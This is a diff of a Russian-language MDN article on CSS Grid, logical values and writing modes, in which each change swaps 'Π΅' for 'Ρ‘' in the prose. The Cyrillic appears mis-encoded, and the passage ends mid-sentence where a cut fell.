-<p>CSS ΠΏΠΎΠ»ΠΎΠ½ <strong>физичСских</strong> слов позиционирования - слСва ΠΈ справа, свСрху ΠΈ снизу. Если ΠΌΡ‹ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌ элСмСнт с использованиСм Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ эти физичСскиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смСщСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΆΠΈΠΌΠ°Ρ‚ΡŒ элСмСнт Π²ΠΎΠΊΡ€ΡƒΠ³. Π’ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° элСмСнт помСщаСтся Π² 20 пиксСлСй свСрху ΠΈ 30 пиксСлСй слСва ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°:</p>
+<p>CSS ΠΏΠΎΠ»ΠΎΠ½ <strong>физичСских</strong> слов позиционирования - слСва ΠΈ справа, свСрху ΠΈ снизу. Если ΠΌΡ‹ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌ элСмСнт с использованиСм Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ³ΠΎ позиционирования, ΠΌΡ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ эти физичСскиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова Π² качСствС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ смСщСния, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ±ΠΆΠΈΠΌΠ°Ρ‚ΡŒ элСмСнт Π²ΠΎΠΊΡ€ΡƒΠ³. Π’ Π½ΠΈΠΆΠ΅ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π΅ ΠΊΠΎΠ΄Π° элСмСнт помСщаСтся Π² 20 пиксСлСй свСрху ΠΈ 30 пиксСлСй слСва ΠΎΡ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°:</p>
<pre class="brush:css">.container {
position: relative;
@@ -25,15 +25,15 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
&lt;/div&gt;
</pre>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½ΠΎ мСсто, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ физичСскиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, - это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>text-align: right</code> Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ тСкст Π²ΠΏΡ€Π°Π²ΠΎ. Π’ CSS Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ физичСскиС <strong>свойства</strong>. ΠœΡ‹ добавляСм поля, дополнСния ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти физичСскиС свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} ΠΈ Ρ‚. Π΄.</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½ΠΎ мСсто, Π³Π΄Π΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ физичСскиС ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова, - это ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>text-align: right</code> Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Ρ‚ΡŒ тСкст Π²ΠΏΡ€Π°Π²ΠΎ. Π’ CSS Π΅ΡΡ‚ΡŒ Ρ‚Π°ΠΊΠΆΠ΅ физичСскиС <strong>свойства</strong>. ΠœΡ‹ добавляСм поля, дополнСния ΠΈ Π³Ρ€Π°Π½ΠΈΡ†Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти физичСскиС свойства {{cssxref ("margin-left")}}, {{cssxref ("padding-left")}} ΠΈ Ρ‚. Π΄.</p>
<p>ΠœΡ‹ Π½Π°Π·Ρ‹Π²Π°Π΅ΠΌ эти ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹Π΅ слова ΠΈ свойства <em>физичСскими</em>, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ относятся ΠΊ экрану, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²Ρ‹ смотритС. Π‘Π»Π΅Π²Π° всСгда слСва, нСзависимо ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, Π² ΠΊΠ°ΠΊΠΎΠΌ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ ваш тСкст.</p>
-<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… языках, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ языки с тСкстом, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ справа, Π° Π½Π΅ слСва. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ тСкста ΠΈ Π²Π°ΠΌ Π΄Π°ΠΆΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° языкС {{glossary ("rtl")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ мСня Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π°Π±Π·Π°Ρ†Π°. Π£ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π½Π΅ установлСно {{cssxref ("text-align")}}, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста (<code>text-align</code>) Π²Π»Π΅Π²ΠΎ. Π― Π΄ΠΎΠ±Π°Π²ΠΈΠ» <code>dir = "rtl"</code> Π² элСмСнт <code>html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ записи ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π° английском языкС <code>ltr</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† остаСтся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΈΠ·-Π·Π° оставлСнного значСния выравнивания тСкста. Π’Ρ‚ΠΎΡ€ΠΎΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ тСкст ΠΏΡ€ΠΎΠ±Π΅Π³Π°Π΅Ρ‚ справа Π½Π°Π»Π΅Π²ΠΎ.</p>
+<p>Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΡ‚Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠΎΠΉ ΠΏΡ€ΠΈ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚ΠΊΠ΅ сайта, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… языках, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ языки с тСкстом, Π½Π°Ρ‡ΠΈΠ½Π°ΡŽΡ‰ΠΈΠΌΡΡ справа, Π° Π½Π΅ слСва. Π‘Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Ρ…ΠΎΡ€ΠΎΡˆΠΎ ΡΠΏΡ€Π°Π²Π»ΡΡŽΡ‚ΡΡ с Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ΠΌ тСкста ΠΈ Π²Π°ΠΌ Π΄Π°ΠΆΠ΅ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° языкС {{glossary ("rtl")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π½ΠΈΠΆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Ρƒ мСня Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π°Π±Π·Π°Ρ†Π°. Π£ ΠΎΠ΄Π½ΠΎΠ³ΠΎ Π½Π΅ установлСно {{cssxref ("text-align")}}, Π²Ρ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΠ΅ тСкста (<code>text-align</code>) Π²Π»Π΅Π²ΠΎ. Π― Π΄ΠΎΠ±Π°Π²ΠΈΠ» <code>dir = "rtl"</code> Π² элСмСнт <code>html</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ€Π΅ΠΆΠΈΠΌ записи ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π½Π° английском языкС <code>ltr</code>. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Π°Π±Π·Π°Ρ† остаётся слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, ΠΈΠ·-Π·Π° оставлСнного значСния выравнивания тСкста. Π’Ρ‚ΠΎΡ€ΠΎΠ΅, ΠΎΠ΄Π½Π°ΠΊΠΎ, ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ тСкст ΠΏΡ€ΠΎΠ±Π΅Π³Π°Π΅Ρ‚ справа Π½Π°Π»Π΅Π²ΠΎ.</p>
<p><img alt="A simple example of text direction." src="https://mdn.mozillademos.org/files/14733/8_direction_simple_example.png" style="height: 354px; width: 1136px;"></p>
-<p>Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с физичСскими значСниями ΠΈ свойствами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² CSS. Они Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ Ρ€Π΅ΠΆΠΈΠΌΠ° записи, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ тСкст Ρ‚Π΅Ρ‡Π΅Ρ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ ΠΈ свСрху Π²Π½ΠΈΠ·.</p>
+<p>Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ простой ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с физичСскими значСниями ΠΈ свойствами, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² CSS. Они Π½Π΅ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ ΠΏΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡŽ Ρ€Π΅ΠΆΠΈΠΌΠ° записи, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ΠΈ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ тСкст Ρ‚Π΅Ρ‡Ρ‘Ρ‚ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ ΠΈ свСрху Π²Π½ΠΈΠ·.</p>
<h3 id="ЛогичСскиС_свойства_ΠΈ_значСния">ЛогичСскиС свойства ΠΈ значСния</h3>
@@ -41,13 +41,13 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<h2 id="Block_ΠΈ_Inline">Block ΠΈ Inline</h2>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ логичСскими, Π° Π½Π΅ физичСскими свойствами, ΠΌΡ‹ пСрСстаСм Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠΈΡ€ ΠΊΠ°ΠΊ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊ ΠΈ свСрху Π²Π½ΠΈΠ·. Нам Π½ΡƒΠΆΠ½Π° новая ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΈ ΠΈΠΌΠ΅Π½Π½ΠΎ здСсь ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ использования <em>Π±Π»ΠΎΠΊΠ°</em> ΠΈ <em>встроСнных</em> осСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ встрСтили Ρ€Π°Π½Π΅Π΅ Π² руководствС ΠΏΠΎ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ, становится ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ. Если Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΈ встроСнного, Ρ‚ΠΎ, ΠΊΠ°ΠΊ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² сСткС, становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС смысла.</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΌΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ Π·Π°Π½ΠΈΠΌΠ°Ρ‚ΡŒΡΡ логичСскими, Π° Π½Π΅ физичСскими свойствами, ΠΌΡ‹ пСрСстаём Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠΈΡ€ ΠΊΠ°ΠΊ слСва Π½Π°ΠΏΡ€Π°Π²ΠΎ, Ρ‚Π°ΠΊ ΠΈ свСрху Π²Π½ΠΈΠ·. Нам Π½ΡƒΠΆΠ½Π° новая ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΡŒΠ½Π°Ρ Ρ‚ΠΎΡ‡ΠΊΠ° ΠΈ ΠΈΠΌΠ΅Π½Π½ΠΎ здСсь ΠΏΠΎΠ½ΠΈΠΌΠ°Π½ΠΈΠ΅ использования <em>Π±Π»ΠΎΠΊΠ°</em> ΠΈ <em>встроСнных</em> осСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΡ‹ встрСтили Ρ€Π°Π½Π΅Π΅ Π² руководствС ΠΏΠΎ Π²Ρ‹Ρ€Π°Π²Π½ΠΈΠ²Π°Π½ΠΈΡŽ, становится ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½Ρ‹ΠΌ. Если Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°Ρ‡Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΌΠ°ΠΊΠ΅Ρ‚ с Ρ‚ΠΎΡ‡ΠΊΠΈ зрСния Π±Π»ΠΎΡ‡Π½ΠΎΠ³ΠΎ ΠΈ встроСнного, Ρ‚ΠΎ, ΠΊΠ°ΠΊ всС Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π² сСткС, становится Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ большС смысла.</p>
<p><img alt="An image showing the default direction of the Block and Inline Axes." src="https://mdn.mozillademos.org/files/14735/8-horizontal-tb.png" style="height: 256px; width: 500px;"></p>
<h2 id="Π Π΅ΠΆΠΈΠΌΡ‹_записи_CSS">Π Π΅ΠΆΠΈΠΌΡ‹ записи CSS</h2>
-<p>Π― ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡΡŒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ здСсь Π΅Ρ‰Π΅ ΠΎΠ΄Π½Ρƒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ я Π±ΡƒΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…: спСцификация CSS Writing Modes. Π­Ρ‚Π° спСцификация ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСт, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ€Π°Π·Π½Ρ‹Π΅ Ρ€Π΅ΠΆΠΈΠΌΡ‹ записи Π² CSS, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ языков, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π΅ΠΆΠΈΠΌ записи Π½Π° английском языкС, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ для творчСских Ρ†Π΅Π»Π΅ΠΉ. Π― Π±ΡƒΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("write-mode")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСсти измСнСния Π² Ρ€Π΅ΠΆΠΈΠΌ записи, примСняСмый ΠΊ нашСй сСткС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ логичСскиС значСния. Однако, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ мСняли Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ записи, я Π±Ρ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π» Π²Π°ΠΌ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Jen Simmons ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Π­Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описано Π² этой спСцификации, Ρ‡Π΅ΠΌ ΠΌΡ‹ коснСмся здСсь.</p>
+<p>Π― ΡΠΎΠ±ΠΈΡ€Π°ΡŽΡΡŒ ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ здСсь Π΅Ρ‰Ρ‘ ΠΎΠ΄Π½Ρƒ ΡΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ я Π±ΡƒΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π² своих ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°Ρ…: спСцификация CSS Writing Modes. Π­Ρ‚Π° спСцификация ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описываСт, ΠΊΠ°ΠΊ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ эти Ρ€Π°Π·Π½Ρ‹Π΅ Ρ€Π΅ΠΆΠΈΠΌΡ‹ записи Π² CSS, Π° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ языков, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ€Π΅ΠΆΠΈΠΌ записи Π½Π° английском языкС, Π½ΠΎ Ρ‚Π°ΠΊΠΆΠ΅ ΠΈ для творчСских Ρ†Π΅Π»Π΅ΠΉ. Π― Π±ΡƒΠ΄Ρƒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свойство {{cssxref ("write-mode")}}, Ρ‡Ρ‚ΠΎΠ±Ρ‹ внСсти измСнСния Π² Ρ€Π΅ΠΆΠΈΠΌ записи, примСняСмый ΠΊ нашСй сСткС, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ логичСскиС значСния. Однако, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ мСняли Π² Ρ€Π΅ΠΆΠΈΠΌΠ΅ записи, я Π±Ρ‹ Ρ€Π΅ΠΊΠΎΠΌΠ΅Π½Π΄ΠΎΠ²Π°Π» Π²Π°ΠΌ ΠΏΡ€ΠΎΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ Jen Simmons ΠΎΡ‚Π»ΠΈΡ‡Π½ΡƒΡŽ ΡΡ‚Π°Ρ‚ΡŒΡŽ ΠΎ <a href="https://24ways.org/2016/css-writing-modes/">CSS Writing Modes</a>. Π­Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описано Π² этой спСцификации, Ρ‡Π΅ΠΌ ΠΌΡ‹ коснёмся здСсь.</p>
<h3 id="writing-mode">writing-mode</h3>
@@ -61,7 +61,7 @@ original_slug: Web/CSS/CSS_Grid_Layout/CSS_Grid,_Logical_Values_and_Writing_Mode
<li><code>sideways-lr</code></li>
</ul>
-<p>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>horizontal-tb</code> являСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для тСкста Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅. Π­Ρ‚ΠΎ Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½ΠΈΠ΅, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π²Ρ‹ Ρ‡ΠΈΡ‚Π°Π΅Ρ‚Π΅ это руководство. Π”Ρ€ΡƒΠ³ΠΈΠ΅ свойства измСнят способ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ тСкста Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹ΠΌ Ρ€Π΅ΠΆΠΈΠΌΠ°ΠΌ записи, Π½Π°ΠΉΠ΄Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΎ всСму ΠΌΠΈΡ€Ρƒ. ΠžΠΏΡΡ‚ΡŒ ΠΆΠ΅, для получСния ΠΏΠΎΠ»Π½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎΠ± этом см. <a href="https://24ways.org/2016/css-writing-modes/">Jen’s article</a>. Π’ качСствС простого ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° Ρƒ мСня Π΅ΡΡ‚ΡŒ Π΄Π²Π° 